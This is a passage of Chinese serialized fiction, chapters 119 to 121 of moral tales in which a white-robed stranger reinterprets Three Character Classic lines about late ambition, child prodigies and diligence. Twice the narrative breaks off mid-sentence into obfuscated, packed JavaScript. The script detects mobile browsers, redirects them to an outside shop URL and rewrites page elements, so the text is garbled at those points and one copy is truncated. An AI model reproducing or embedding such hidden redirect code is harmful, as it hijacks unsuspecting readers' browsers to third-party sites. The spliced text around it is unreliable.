那心光,比萤亮,比雪明,比火暖,在每一个真正的读书人胸中,长明不灭。 本章诫世 一、 勤苦真义训 - 披蒲编,削竹简。彼无书,且知勉。头悬梁,锥刺股。彼不教,自勤苦。如囊萤,如映雪。家虽贫,学不辍。如负薪,如挂角。身虽劳,犹苦卓 - 破解法:求学者,自问“勤苦为何?苦身,还是苦心?学古人,学其迹,还是学其心?可只慕悬梁刺股之形,不慕求光求明之心?” 二、 四苦四心 - 蒲编竹简——无书之苦,求书之心 - 悬梁刺股——困倦之苦,求醒之心 - 囊萤映雪——暗贫之苦,求光之心 - 负薪挂角——劳作之苦,求明之心 - 四明:古人苦在身,今人当苦在心。无书时求书,有书时惜书;困倦时求醒,清醒时惜时;暗贫时求光,光明时惜光;劳作时求明,安闲时惜明。若只学其苦,不学其心,是买椟还珠 三、 心光大道 - 深层隐喻:勤苦是药,治怠惰之病。然病有不同:古人病在无书、困倦、暗贫、劳作,故以蒲编、悬梁、囊萤、负薪为药。今人病在有心怠、心迷、心暗、心盲,当以“求心”为药。若今人仍用古药,是药不对症 - 终极指向:世人慕勤苦,易入歧途:慕其迹而忘其心,学其形而失其神。蒲会腐,简会朽,梁会朽,锥会锈,萤会死,雪会融,薪会尽,角会老。唯那颗求书、求醒、求光、求明的心,永不腐不朽不锈不死不融不尽不老 冬至苦偈: 冬至长安蒙馆寒,路师教童勤苦章。 蒲编竹简悬梁股,囊萤映雪负薪角。 白衣巷口说故事,古人勤苦苦在身。 今人当苦苦在心,心有光明不借萤。 从此蒙馆教勤苦,先问心光在何处。 后世叹: 披蒲编,削竹简,古人无书心有书。 头悬梁,锥刺股,古人无教心有教。 囊萤映雪负薪角,身苦心明是真学。 路师教童苦其身,白衣说学苦其心。 从此勤苦不在迹,在那颗心求明白。 正是: 冬至长安飞雪寒,蒙馆先生教勤苦。 蒲编竹简悬梁股,萤雪薪角是楷模。 白衣夜中说故事,勤苦苦身更苦心。 从此读书先问心,心光长明胜囊萤。 119.迟立志谳 楔子·清明劝学 清明时节,洛阳城南“劝学亭”畔,老塾师杜夫子拄着拐杖,对一群垂髫童子训诫: “……苏老泉,二十七,始发奋,读书籍。彼既老,犹悔迟。尔小生,宜早思!若梁灏,八十二,对大廷,魁多士。彼既成,众称异。尔小生,宜立志!尔等黄口小儿,正当早立志、早用功,莫待老来悔迟!” 童子们手捧《劝学诗》,个个苦脸。有个叫青哥儿的,约莫八九岁,嘟囔道:“先生,我爹说,让我学算账,将来接铺子……” 杜夫子拐杖一戳地:“糊涂!万般皆下品,惟有读书高!你爹开酱铺,能高到哪里去?” 正说着,亭外传来清越笛声,吹的正是《杏花天》。众人望去,见柳树下坐着个白衣人,正教几个街童折柳吹笛。白衣人斗笠是细柳与桃枝混编,檐边缀着几朵纸扎小白花。白衣是细麻所制,洗得泛白,袖口用青线绣着柳叶纹。木剑斜倚树根,剑穗是褪色的五色丝绦打成柳环结。面上蒙着本色棉纱,只露出一双含笑的眼睛,正将一个柳笛递给个总角小童。 杜夫子皱眉:“清明时节,当思先贤,岂可嬉游吹笛?” 白衣人放下柳笛,起身一揖:“夫子教训得是。在下教孩子们折柳,正是为思先贤——柳者,留也,留先贤之德,留春时之思。” “巧言令色!”杜夫子哼道,“你既教人思先贤,可知苏老泉、梁灏故事?” “略知一二。” “那便说来听听,也让这些蒙童知道,何为‘迟立志’!” 一、 苏明允的醒悟 白衣人邀童子们围坐柳下,从怀中取出个布包,展开是几把旧算盘。 “先说苏明允。此人年少时,不爱读书,喜游历。二十多岁,已是蜀中绸缎行有名的‘苏算盘’,账目过手,分文不差。” 白衣人拨动一把算盘,噼啪脆响。 “二十七岁那年,他参加进士试,未中。” “回乡后,见幼时所读《论语》,已蒙尘。他拂去灰尘,重新翻开。回想自己这些年,除账本之外,竟无所得。” 白衣人又拿起一本破旧的《千字文》:“他买来蒙书,从头学起。伙计笑他:‘东家,您这把年纪,还想考状元?’他说:‘不考状元,只是想明白,人活一世,除了算账赚钱,还能有什么。’” 杜夫子捻须:“这便是‘始发奋’。” “是发奋。”白衣人点头,“他白天管铺子,夜里点灯读书。前后六七年,读通经史百家,文章自成一家。后来两个儿子苏轼、苏辙,皆成大家。人称‘一门三苏’。” “苏明允一生,并未考中进士,官至主簿而已。” “但后世论宋文,必称三苏。人说他是大器晚成,他自己却说:二十七岁那年落第后,才晓得人活着,不能只活个算盘。” 白衣人将算盘递给青哥儿:“你爹让你学算账,没错。但算账之余,也可读书。读书不为功名,为明白——明白人活着,除了酱铺账本,还有什么。” 二、梁灏的拐杖 白衣人又取出一根磨得光润的竹杖,杖头雕着个寿星。 “再说梁灏。此人乃郓州须城人氏,少有神童之誉,十二岁中秀才,人皆道必中状元。弱冠之年,初举进士,不中第,留阙下,献疏论科举之弊。” 孩子们哗然:“他敢给皇帝上书?” “正是。”白衣人拄杖起身,学着老态,“那疏中说:‘陛下设科取士,奈何所取不出于诗赋策论?简于心者援而陟之,咈于心者推而黜之,宁无滥陟枉黜之失耶?’” 杜夫子捻须道:“此疏所言,切中时弊。只是……他那时多大年纪?” “二十出头。”白衣人笑道,“疏上,不报。梁灏便留在京师,发愤读书。过了两年,雍熙二年,再举进士,廷试,太宗皇帝亲擢甲科。” “这就中了?”青哥儿算道,“那也不过二十几岁!” “正是。梁灏中状元那年,二十有三。” 孩子们哗然更甚:“可《三字经》里明明说……” “说‘若梁灏,八十二,对大廷,魁多士’?”白衣人摇头,“那是后世讹传。梁灏四十二岁那年,以翰林学士知开封府,正当盛年,大有可为,却暴疾卒于任上。” 众人皆怔。杜夫子道:“如此说来,《三字经》误矣?” 白衣人未答,只将竹杖递给巷尾拾荒的老秦头——那老儿六十多了,每日来亭外听讲,从不识字。 “老丈,您说,这讹传是因何而起?” 老秦头摩挲竹杖,半晌道:“怕是……有人想给老不中的举子们,留个念想罢。” 白衣人拊掌:“正是!明人《遁斋闲览》载,梁灏有谢启云:‘白首穷经,少伏生之八岁;青云得路,多太公之二年。’——明明是后人伪作,却传了数百年。” 他环顾众人:“那为何偏要把他编成八十二岁?” 亭中寂然。 白衣人自答:“因为天下读书人,太多老于场屋者。他们需要一个念想——只要考下去,终有出头之日。这念想,比真状元梁灏,更合人意。” 他看向老秦头:“老丈,若您十八岁进学,考到六十仍不中,还考么?” 老秦头笑了:“考甚?我连字都不识。” “那您这一辈子,跟甚较劲?” 老秦头想了想,指着竹杖:“跟这根棍子较劲罢。年轻时拄它嫌早,老了离了它又不行。” 白衣人颔首:“正是。梁灏较劲的不是功名,是那个‘为何读书’。他二十出头就中了,那是真才学;可世人偏要让他八十才中,那是真念想。念想这东西,有时比才学更要紧。” 他将竹杖收回,轻叩地面:“今日说这些,不是要驳《三字经》。那书里的话,劝人向学,是好意。只是你们记住——世上传言,有真状元,也有假状元。真状元在史书里,假状元在人心里。” 孩子们似懂非懂。青哥儿问:“那咱们该信哪个?” 白衣人笑道:“都信。信真状元,是知史;信念想,是知人。知史又知人,才算真明白。” 夕阳西下,他把竹杖递给那发问的孩子:“去,还给巷尾老丈。跟他说——这根棍子,他拄得,你也拄得;只是你拄它的时候,要晓得自己较的是甚劲。” 青哥儿捧着竹杖,飞奔而去。 三、清明的柳笛 日头渐高,柳絮纷飞。白衣人教孩子们将柳笛凑唇,齐齐吹响。清越笛声里,他问:“杜夫子,您教‘宜早思’‘宜立志’,敢问童子们,思什么?立什么志?” 杜夫子肃然:“自然思圣贤之道,立经世之志!” “若思不明白呢?” “那便勤学苦读,终有明白之日!” “若立了志,达不成呢?” “那便如梁灏,老而弥坚!” 白衣人摘下一片柳叶,置于唇边,吹出呜咽之音。 “苏老泉二十七岁前,思的是算盘,立的是商志。二十七岁那年,他始发愤读书,而举进士不中,遂焚所为文,闭户益读书。此事《宋史》有载。他所思者,从谋生转为求道;所立者,从家业转为文章。” 他顿了顿,看向杜夫子:“至于梁灏,前日已说,实为二十三岁状元,并非八十二岁及第。但《三字经》所传,自有其教化之意——劝人向学,老而不辍。” 清明之日,祭祖追远,所以思先人之志也。然先人之志,岂必同于子孙之志哉?昔苏老泉之父序,富而好施,未尝预知其子文章冠世,列名八家;若梁灏之父,使其知子二十有三登科,早耀龙门,则夙愿尽偿,亦可以无憾矣。 他折下一段柳枝,编成环,戴在青哥儿头上。 “清明折柳,是为留春。读书求学,各人有各人的时节。有人早成,有人晚达,皆不足为奇。只要那‘思’是真的,那‘志’是你自己的,便对得起先人,也对得起自己。” 四、 酱铺的账本 三日后,杜夫子路过青哥儿家的“陈记酱铺”,见柜台里,青哥儿一手拨算盘,一手翻着本《千家诗》。算盘声脆,诵诗声稚,竟有种奇异的和谐。 杜夫子进去,青哥儿忙起身作揖:“先生。” “你……还在读诗?” “嗯。白日帮爹看铺,夜里读诗。”青哥儿眼睛亮亮的,“苏老泉能白天管铺子夜里读书,我也能。” “读诗为何?” “爹说,算账能算清钱财,读诗能算清人心。咱们酱铺,既要钱财清,也要人心明。” 杜夫子愣住,半晌问:“这话……谁教的?” “白衣先生前日来买酱,跟我爹说的。”青哥儿从柜台下拿出一卷纸,展开是幅墨柳图,旁有题字: “苏泉廿七始读书,非悔少时不读书,乃悟人生不止数。 梁灏八二方中第,非矜老来能中第,乃明读书不在第。 清明柳笛年年吹,莫道立志有早迟。 但得心中一点明,七岁立志不为早,百岁立志不为迟。” 杜夫子凝视良久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209037|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽拄杖长叹:“老朽教了一辈子‘宜早思’‘宜立志’,却不知思可转,志可移。迟者非迟,乃真思真志也。” 他转身出铺,见巷口柳树下,那白衣人正教老秦头认字。老秦头六十有三,握笔的手颤巍巍,写的第一个字是“人”。 杜夫子上前,深揖:“先生前日之教,老夫受教。敢问先生,老朽六十有三,尚可立志否?” 白衣人扶起他,从柳枝上摘下一片新叶:“夫子请看,此叶新生。柳树已百岁,年年发新叶。树不因老而不发,人不因老而不立。夫子之志在教,教了一辈子,今日可立新志——教人立真志。” 尾声·柳笛新声 此后,劝学亭畔的蒙馆改了规矩。 杜夫子不再催童子“早思早立”,而是每有新生,必问三句:“你思何事?此思真否?此志是你之志否?”若答不出,便让童子去市井走三日,看贩夫走卒所思所立。 他自撰一联,悬于亭柱: 苏泉廿七非悔迟,乃悟人生不止数 梁灏八二非矜老,乃明读书不在第 青哥儿后来接管酱铺,账目清明,童叟无欺。铺子里总摆着几本诗书,他说:“酱有咸淡,诗有甘苦,皆是人间味。” 老秦头学了三年,能读家书,能写账目。他说:“六十学字,不为晚,只为明——明白自己活了一辈子,到底是个什么人。” 而那个教人折柳吹笛的白衣人,清明过后便无踪影。但每年清明,劝学亭柳树上,总会挂着几支新削的柳笛。童子们吹响时,仿佛能听见那清润的声音在说: “苏老泉,二十七,始发奋,非悔迟,是悟了。 若梁灏,八十二,对大廷,非矜异,是明了。 尔小生,宜早思,思要真,真思何时都不迟。 尔小生,宜立志,志要己,己志老幼皆可立。 清明柳笛年年新,莫道立志有早春——” 杜夫子八十寿辰时,童子们为他折柳编冠。他戴冠而笑:“老朽六十三岁重立志,立志教人立真志。此志立得迟,立得真。” 真,便不迟。 本章诫世 一、 立志真义训 - 苏老泉,二十七。始发奋,读书籍。彼既老,犹悔迟。尔小生,宜早思。若梁灏,八十二。对大廷,魁多士。彼既成,众称异。尔小生,宜立志 - 破解法:求学者,自问“立志为何?为早,还是为真?苏老泉悔迟,悔的是迟读书,还是迟悟人生?梁灏称异,异的是老中第,还是老明道?可只求早,不求真?” 二、 迟立二悟 - 苏老泉之悟——二十七岁始发奋,非悔少年不读书,乃悟人生不止算盘账本。立志不在早,在真悟 - 梁灏之悟——八十二岁方中第,非矜老迈能登科,乃明读书不在功名。立志不在成,在明道 - 二明:立志宜早,但真志不嫌迟。苏老泉迟在二十七,悟在荒坟前;梁灏迟在八十二,悟在金殿上。迟者非迟,乃真思真悟真明。若未悟而早立,是盲志;已悟而迟立,是真志 三、 柳笛大道 - 深层隐喻:人生如清明,祭祖思先。先人之志,是柳树旧枝;我之志,是柳树新芽。旧枝可参,新芽当发。苏老泉折旧枝(商志)发新芽(文志),梁灏经寒暑(科举)绽晚花(悟道)。立志如折柳,柳条年年新,志亦可岁岁新。莫囚于旧枝,莫误于早迟 - 终极指向:世人劝立志,易入歧途:重早不重真,重成不重明,重迹不重心。苏老泉若不悟,终生富贾;梁灏若不明,老死科场。迟立何妨?只要立的是真志、己志、明志。真志,七岁不早,百岁不迟 清明志偈: 清明洛水劝学亭,杜师谆谆勉童蒙。 苏泉廿七始发愤,梁灏弱冠已登瀛。 古来贤达各有道,岂因早晚论前程? 但问真心向何处,真志既立山可平。 亭前桃李年年发,春风早晚俱成英。 后世叹: 苏老泉,二十七,始发奋,非悔迟。 若梁灏,八十二,魁多士,非矜异。 杜师要童早立志,白衣说志在真明。 从此立志先问心,真心何论老与幼。 正是: 清明洛阳柳飞絮,劝学亭中说立志。 苏泉梁灏为楷模,要童早思早用功。 白衣柳下说故事,迟立非迟乃真悟。 从此立志不在早,在真在己在明白。 120.颖悟谳 楔子·七夕乞巧 七月初七,金陵城“慧心阁”天井里,女塾师戚先生正襟危坐,对一众女童训话: “……尔等女子,当知勤敏!昔有蔡文姬,六岁辨琴弦,隔帷听父弹琴,弦断能知第几弦。有谢道韫,七岁能咏雪,叔父问‘白雪纷纷何所似’,兄答‘撒盐空中’,道韫对‘未若柳絮因风起’,才思敏捷如此!彼女子,且聪敏,尔等能不勉乎?” 女童们穿着新裁的夏衫,手执纨扇,听得入神。唯有个叫小絮的女孩,约莫八九岁,低头摆弄裙角的流苏。 戚先生用戒尺轻敲桌案:“再看男子!北齐祖莹,八岁能咏诗,人赞‘圣小儿’;唐朝李泌,七岁赋棋局,帝称‘神童’;刘晏七岁举神童,授正字官。彼颖悟,人称奇,尔幼学,当效之!小絮,你来说,蔡文姬何以能辨琴?” 小絮慌慌站起:“因、因她耳力好……” “非也!”戚先生正色,“是因她用心专一,六岁便有定力。尔等若也能收心定性,何愁不……” 话未说完,天井外墙头忽然传来清凌凌的童谣声: “莹八岁,能咏诗,咏的不是诗是急智。 泌七岁,能赋棋,赋的不是棋是机缘。 文姬辨琴辨宫商,道韫咏絮咏雪光。 刘晏七岁为正字,正的不是字是运气——” 戚先生皱眉推窗,见对面染坊晒布场上,几个街童正围着一个白衣人唱跳。白衣人坐在青石上,面前摊着几块染了色的布头,正教孩童辨色。斗笠是细篾与牵牛花藤混编,檐边缀着几朵干枯的蓝牵牛。白衣是葛麻所制,洗得泛白,袖口用靛蓝线绣着云纹。木剑横放膝上,剑穗是褪色的五色丝绦打成同心结。面上蒙着本色棉纱,只露出一双含笑的眼睛,正将一块靛蓝布递给个梳双鬟的小丫头。 “荒唐!”戚先生推门而出,“七夕乞巧,当学女红针黹,尔等在此喧哗嬉戏,成何体统!” 白衣人抬头,声音温和如溪水:“先生教诲得是。在下教孩子们辨色,正是为乞巧——织女织云锦,不也要辨色么?” 戚先生冷笑:“巧在静心,不在喧哗。你既知祖莹、李泌、蔡文姬、谢道韫、刘晏故事,何不说来听听?也让这些女童知道,何为真颖悟!” 一、 祖莹的“急智” 白衣人邀女童们到染坊檐下,与街童们围坐。他从怀中取出几页泛黄的诗稿。 “先说祖莹。此人八岁时,一日偷读《诗经》,被父亲发现。父怒问:‘不读正书,看此何用?’祖莹急中生智,答:‘诗三百,一言以蔽之,思无邪。’” 他展开一页,上是稚拙笔迹:“此是他八岁仿作的诗:‘萤火照书夜,书光照我心。我心本无邪,何畏父来寻?’” 小絮掩口笑:“他这是狡辩。” “是狡辩,也是急智。”白衣人道,“父亲见他出口成章,转怒为喜,许他读书。若无这急智,或许他就成了寻常顽童,日后也无‘圣小儿’之名了。” “可见颖悟,有时是情急之下的灵光。但——”白衣人话锋一转,“祖莹后来苦读,常夜以继日。人说‘莹八岁,能咏诗’,却不知他八岁后,日日读书到三更。那急智,是火花;这苦功,才是薪柴。” 他分给每个孩子一块布头:“你们看这靛蓝色,是急智,一闪亮;但要染出这色,需靛草反复浸、反复晒、反复染——这才是真功夫。” 二、 李泌的“机缘” 白衣人又取出一张棋盘,摆上几枚木棋子。 “李泌七岁时,帝召神童赋诗。李泌到殿上,帝正与张说弈棋。张说指棋盘出题:‘方若棋盘,圆若棋子,动若棋生,静若棋死。’” 他在棋盘上摆出方阵:“李泌不假思索,对曰:‘方若行义,圆若用智,动若骋才,静若得意。’” 小絮眨眼:“这……有什么难?” 戚先生轻斥:“休得狂言!七岁孩童,能由棋盘悟出处世之道,已是奇才。” “是奇才,但也有机缘。”白衣人将一枚棋子放在小絮掌心,“李泌之父是朝官,他自幼出入宫廷,见惯大臣对答。那日殿上,若帝不在下棋,在绘画,张说或许出画题,李泌或许对画论。所谓‘赋棋’,是机缘巧合。” 他将棋子一一分给孩童:“但机缘只敲一次门。李泌若平日不读书、不思考,机缘来了,也对不上。他那四句,方是规矩,圆是变通,动是进取,静是沉淀——这道理,岂是七岁孩童凭空能悟?定是平日听父辈议论,记在心中,机缘到时,脱口而出。” “所以人说‘泌七岁,能赋棋’,赋的不是棋,是平日积累,遇上恰当时机。” 三、 蔡文姬的“专注”与谢道韫的“灵机” 白衣人从怀中取出一张极小的小琴,仅三弦,置于石上。 “蔡文姬六岁,父蔡邕夜弹琴。忽弦断,文姬在帷后说:‘第二弦。’父讶,故意又断一弦,文姬说:‘第四弦。’” 他轻拨小琴,弦音清越:“人皆道她耳力非凡。可你们想,她为何在帷后?是父亲弹琴,不让她看,她便专心听。这一‘专心’,才听出细微差别。” “谢道韫七岁,叔父谢安问:‘白雪纷纷何所似?’兄谢朗答:‘撒盐空中差可拟。’道韫对:‘未若柳絮因风起。’” 白衣人从袖中取出一小袋柳絮,轻轻一吹,絮如雪飞。 “撒盐是沉重下落,柳絮是轻盈飘舞。道韫能想到柳絮,是因她平日观察入微——盐是厨房物,柳絮是自然景。她心中有自然,才能脱口而出。” 他看向女童们:“文姬之能,在专注;道韫之能,在灵机。专注是定力,灵机是慧心。女子聪敏,不在强过男子,在各有其长。” 四、 刘晏的“运气” 白衣人最后取出一方小小的“正字”印章,在布头上按了个红印。 “刘晏七岁,献赋于帝,帝奇之,授‘正字’官,校正典籍。人赞神童。” “可他这‘神’,有三分运气。”白衣人将印章传给孩童们看,“其一,他生在士族,有书可读;其二,他父是官,有机会见驾;其三,他献赋时,帝心情正好。” “若他生在农家,纵有天赋,或许终生不识一字。若帝那日心烦,或许看一眼就搁下。‘举神童’,是天赋,更是时运。” 他收起印章,正色道:“我说这些,不是贬低神童,是说——人见祖莹咏诗,不见他夜读三更;人见李泌赋棋,不见他平日积累;人见文姬辨琴,不见她专注凝神;人见道韫咏絮,不见她观察入微;人见刘晏为官,不见他三分运气。” “若只羡其颖悟,不学其背后功夫,便是买椟还珠。” 五、 七夕的“巧” 日头西斜,染坊开始收布。五彩布匹在夕阳下如流霞。 白衣人起身,指着满院布匹:“今日七夕,女儿家乞巧。巧是什么?是织女一夜织就云锦的巧手。可这巧手,是天生,还是练就?” 他走到一匹正染的靛布前:“染布要巧。何时下靛,何时搅动,何时起缸,何时晾晒——差一刻,色不匀。这巧,是日日练出来的。” 又走到纺车前:“纺线要巧。抽棉成纱,捻纱成线,力道要匀,速度要稳——差一分,线易断。这巧,是年年练出来的。” 最后走到织机前:“织布要巧。脚踏手抛,经纬交织,错一梭,布有疵。这巧,是代代传下来的。” 他转身看向戚先生和女童们:“祖莹的诗才,李泌的棋对,文姬的琴耳,道韫的诗心,刘晏的官运——皆是‘巧’。但这巧,是急智加苦功,是积累加机缘,是专注加灵机,是天分加运气。若只慕其巧,不学其功,便是……” “便是乞巧只乞结果,不乞过程。”戚先生接口,声音有些哑。 白衣人颔首:“先生明鉴。七夕乞巧,女儿家乞的是织女的巧手,可织女之巧,也是千年织就。今日女孩们穿针斗巧,是娱戏,也是练习——练那定力,练那观察,练那灵机。” 他从怀中取出几枚绣花针,分给女童:“这针,送给你们。穿针引线是巧,读书明理也是巧。文姬辨琴是巧,道韫咏絮也是巧。巧无高下,只在用心。” 六、 染坊的启示 三日后,慧心阁女塾的课程变了。 戚先生不再只教《女诫》《列女传》,也教辨色、教纺织、教厨艺。她说:“文姬辨琴,辨的是音;道韫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祖莹咏诗——急智为表,苦功为里 - 李泌赋棋——机缘为表,积累为里 - 文姬辨琴——耳力为表,专注为里 - 道韫咏絮——灵机为表,观察为里 - 刘晏正字——运气为表,准备为里 - 五明:颖悟是花,功夫是根。只见花艳,不见根深,是买花弃根。男子当自警,女子当自强,皆在功夫,不在虚名 三、 乞巧大道 - 深层隐喻:七夕乞巧,乞的是织女巧手。然织女之巧,非天生,乃千年织就。祖莹之诗、李泌之棋、文姬之琴、道韫之絮、刘晏之字,皆是“巧”。巧是果,功夫是因。乞巧当乞功夫,非乞巧果。今人慕神童,慕才女,慕的是巧果,忘的是功夫 - 终极指向:世人赞颖悟,易入歧途:重天赋而轻苦功,重机缘而轻积累,重急智而轻专注,重灵机而轻观察,重运气而轻准备。然无苦功,天赋是浮萍;无积累,机缘是泡影;无专注,急智是火花;无观察,灵机是妄念;无准备,运气是虚风。乞巧当乞根,莫只乞花 七夕巧偈: 七夕金陵慧心阁,戚师教女慕颖悟。 莹八泌七文姬琴,道韫咏絮刘晏字。 白衣染坊说故事,颖悟背后是功夫。 乞巧当乞织女手,莫只慕巧忘功夫。 从此女塾教颖悟,先教苦功后教巧。 后世叹: 莹八岁,能咏诗,咏诗背后是三更。 泌七岁,能赋棋,赋棋背后是积累。 文姬辨琴道韫絮,巧在专注与观察。 刘晏正字是运气,有为当学真功夫。 戚师教女慕颖悟,白衣说巧在功夫。 正是: 七夕金陵乞巧时,慧心阁中说颖悟。 莹泌文姬谢刘晏,皆称神童当效之。 白衣染坊说故事,颖悟是花功是根。 从此乞巧先乞功,功夫到处巧自生。 121.劝学谳 楔子·腊月劝学 腊月廿三,灶王节。苏州城“劝学堂”前,塾师严夫子手持戒尺,对一干学童训话,声如寒铁: “……犬守夜,鸡司晨。苟不学,曷为人!蚕吐丝,蜂酿蜜。人不学,不如物!尔等且听真了:幼而学,壮而行。上致君,下泽民。扬名声,显父母。光于前,裕于后——此乃读书人本分!人遗子,金满赢。我教子,唯一经。勤有功,戏无益。戒之哉,宜勉力!” 学童们冻得鼻尖通红,呵气成霜。有个叫阿卯的男孩,约莫十岁,缩着脖子嘀咕:“我爹说……能识字记账就成……” “荒唐!”严夫子戒尺“啪”地打在案上,“你爹卖豆腐,你也卖豆腐,子子孙孙卖豆腐,与犬鸡何异?与蚕蜂何异?” 正此时,街对面糖坊传来“叮叮当当”熬糖的脆响,混着孩童的欢笑声: “犬守夜,鸡司晨,不守不司也为人。 蚕吐丝,蜂酿蜜,不吐不酿也是物。 幼而学,壮而行,不行不学也是民。 扬名声,显父母,不扬不显也是子——” 严夫子怒而推门,但见糖坊檐下,三五个街童正围着一个白衣人熬糖画。白衣人坐于矮凳,手握铜勺,糖丝在石板上游走如龙。斗笠是麦秆与腊梅枝混编,檐边缀着几朵干腊梅。白衣是粗棉所制,洗得泛白,袖口沾着几点糖渍。木剑倚在墙边,剑穗是褪色的五色丝绦打成如意结。面上蒙着本色棉纱,只露出一双带笑的眼睛,正将一只糖蝴蝶递给个流鼻涕的小丫头。 “放肆!”严夫子大步上前,“灶王节祀灶,当思‘勤有功,戏无益’,尔等在此嬉戏熬糖,成何体统!” 白衣人放下铜勺,起身一揖:“夫子息怒。在下教孩子们熬糖,正是思‘勤有功’——熬糖要勤搅,勤看火候,勤转铜勺,一丝急不得,与读书同理。” “强词夺理!”严夫子冷笑,“你既知《三字经》此段,何不解说真义?也让这些蒙童知道,何为人之本分!” 一、 犬、鸡、蚕、蜂 白衣人邀学童们围坐糖坊前,从怀中取出一叠剪纸:犬、鸡、蚕、蜂,栩栩如生。 “先说‘犬守夜,鸡司晨’。犬为何守夜?因它耳聪目明,能听夜声。鸡为何司晨?因它知天时,感阳气。此乃犬鸡之天性,亦是本分。” 他点燃小泥炉,将糖块入锅,铜勺轻搅。 “人无犬耳,无鸡冠,何以要学犬鸡守夜司晨?因人有心,有心便要明理。犬守夜是守宅,人守夜是守心;鸡司晨是报时,人司晨是惜时。不守心,不惜时,空有耳目,与犬鸡何异?” 糖浆咕嘟冒泡,甜香四溢。阿卯咽了口唾沫。 “再说‘蚕吐丝,蜂酿蜜’。蚕食桑叶,吐丝成茧,为人作衣;蜂采百花,酿蜜为糖,为人作甜。此乃蚕蜂之劳,亦是本分。” 白衣人舀起一勺糖浆,在石板上飞快勾勒,竟画出一只蚕、一只蜂。 “人不吐丝,不酿蜜,何以要学蚕蜂?因人有手,有手便要作事。蚕吐丝是作茧,人作事是作德;蜂酿蜜是酿甜,人作事是酿善。不作德,不酿善,空有双手,与蚕蜂何异?” 他将糖蚕、糖蜂分给孩童:“可犬守夜,是为人守;鸡司晨,是为人司;蚕吐丝,是为人衣;蜂酿蜜,是为人甜。它们本分如此,人受其惠,当感其劳,岂可反说‘不如犬鸡蚕蜂’?当说:人若不学不作,愧对犬鸡蚕蜂之劳。” 二、 幼学、壮行、致君、泽民 糖浆渐稠,白衣人又舀起一勺,画了个小小蒙童,又画了个挺拔青年。 “‘幼而学,壮而行’。幼学为何?学明理。壮行为何?行所明。若幼学只为壮行,那学是工具,行是目的——如此,与犬学守夜、鸡学司晨何异?犬鸡不知为何守司,人若不知为何学行,纵学富五车,行遍天下,亦是盲犬瞎鸡。” 他再画一座殿堂,一个戴冠者;又画一片田园,几个农夫。 “‘上致君,下泽民’。致君为何?助君明。泽民为何?惠民生。若致君是为显达,泽民是为沽名,那君是阶梯,民是筹码——如此,与蚕吐丝为衣、蜂酿蜜为甜何异?蚕蜂不知衣甜之用,人若不知明民之本,纵致君泽民,亦是作茧自缚。” 严夫子听到此处,胡须微颤,欲言又止。 白衣人将糖画分给孩童,缓声道:“幼学,当学为何学;壮行,当行为何行。致君,是为助君行仁政;泽民,是为使民得安乐。若本末倒置,学是空学,行是妄行。” 三、 扬名、显亲、光前、裕后 糖浆将凝,白衣人手速如飞,画出个牌坊,上书“光宗耀祖”;又画座宅院,匾题“裕后堂”。 “‘扬名声,显父母。光于前,裕于后。’此十二字,误了多少读书人。” 他点出牌坊下一个弯腰躬背的小人:“此人寒窗苦读,是为扬名。名扬了,父母有光。可父母真正要的光,是儿女平安喜乐,还是匾额高挂?” 又点出宅院里一个愁眉苦脸的老者:“此人教子读书,是为裕后。后裕了,前人有光。可前人真正的裕,是子孙明理行善,还是金玉满堂?” 白衣人看向严夫子:“夫子教《三字经》,可曾问蒙童:你扬名,为何扬?显亲,为何显?光前,为何光?裕后,为何裕?” 严夫子怔住,半晌道:“自然是为……为家声不坠,为子孙有继。” “若子孙不明理,家声是虚声;若子孙不为善,有继是空继。”白衣人叹息,“昔有某氏,三代进士,牌坊林立,可谓扬名显亲、光前裕后。然其孙横行乡里,欺男霸女,家声一夜尽毁。人叹:‘纵有万贯,不如一善;纵有高名,不如一德。’” 糖画渐冷,他轻轻敲下,分与众人:“名是糖画,看着甜,吃着黏。德是熬糖的火候,是搅糖的功夫,是画糖的心境——这些,才是真的。” 四、 遗金与遗经 白衣人洗净铜勺,从怀中取出一卷旧书,书页泛黄。 “‘人遗子,金满赢。我教子,唯一经。’这话本是好意,劝人重教化轻钱财。可这‘一经’,是什么经?” 他翻开一页,是《论语》“学而”篇。 “若是《论语》,教的是仁;若是《孟子》,教的是义;若是《诗经》,教的是情;若是《礼记》,教的是节。可若只教背诵,不教践行,这经便是空经,与金满赢何异?金会散,经会忘,唯行出来的仁、义、情、节,才是真遗产。” 又翻开一页,是《千字文》“天地玄黄”。 “有富商,遗子万金,子三年败尽。有寒士,遗子一经,子苦读高中,却贪赃枉法。问:富商之金是恶,寒士之经是善么?金无善恶,经亦无善恶,在人如何用。” 他将经卷递给阿卯:“你爹卖豆腐,可曾教你‘豆腐经’?” 阿卯愣愣道:“我爹说……豆腐要嫩,卤水要准,压板要平……” “这便是你的经。”白衣人微笑,“这经里,有嫩是仁,准是义,平是节。你守这经,做出的豆腐养人,便是泽民。何必非读《论语》才叫经?” 五、 勤有功,戏无益? 灶糖熬好,白衣人教孩子们拉糖。糖块金黄,拉出千丝万缕,在冬日阳光下灿若金线。 “‘勤有功,戏无益’。勤固然有功,戏当真无益么?” 他手指翻飞,将糖丝编成小狗、小鸡、小蚕、小蜂。 “犬戏逐,练其捷;鸡戏啄,练其准;蚕戏动,练其柔;蜂戏舞,练其群。戏,是练,是学,是悟。孩童戏耍,练身手,学相处,悟规则——岂曰无益?” 又拉出个读书小人,小人伸懒腰,又变作个奔跑小人。 “勤读是功,戏耍也是功。只勤不戏,如弓久张不弛,必断。只戏不勤,如苗久灌不耘,必荒。勤戏相济,方是正道。” 